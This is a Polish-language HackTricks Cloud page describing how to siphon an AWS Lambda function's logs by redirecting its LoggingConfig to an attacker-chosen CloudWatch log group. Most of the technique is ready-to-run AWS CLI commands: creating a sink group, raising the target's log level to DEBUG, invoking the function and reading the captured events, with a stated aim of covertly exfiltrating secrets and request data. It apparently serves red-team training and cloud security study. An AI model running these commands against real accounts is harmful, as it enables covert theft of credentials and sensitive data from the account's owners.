AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Nadużyj lambda:UpdateFunctionConfiguration — zaawansowanych ustawień logowania — aby przekierować logi funkcji do wybranej przez atakującego CloudWatch Logs log group. Działa to bez zmiany kodu ani roli wykonawczej (większość ról Lambda już zawiera logs:CreateLogGroup/CreateLogStream/PutLogEvents dzięki AWSLambdaBasicExecutionRole). Jeśli funkcja wypisuje sekrety/treści żądań lub ulega awarii generując stack trace, możesz je zebrać z nowej log group.
Wymagane uprawnienia
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (lub polegać na istniejących wyzwalaczach)
- logs:CreateLogGroup (często nie jest wymagane, jeśli rola funkcji już je posiada)
- logs:FilterLogEvents (do odczytu zdarzeń)
Kroki
- Utwórz sink log group
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
- Przekieruj logi docelowej funkcji
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
Poczekaj, aż LastUpdateStatus stanie się Successful:
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
- Wywołaj i odczytaj z odbiornika
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
Wpływ
- Potajemnie przekieruj wszystkie logi aplikacji/systemu do log group, którą kontrolujesz, omijając oczekiwanie, że logi trafiają tylko do
/aws/lambda/<fn>. - Exfiltrate wrażliwe dane wypisane przez funkcję lub ujawnione w błędach.
Czyszczenie
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
Notatki
- Kontrole logowania są częścią
LoggingConfigLambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel). - Domyślnie Lambda wysyła logi do
/aws/lambda/<function>, ale możesz wskazać dowolną nazwę log group; Lambda (lub execution role) utworzy ją, jeśli będzie to dozwolone.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

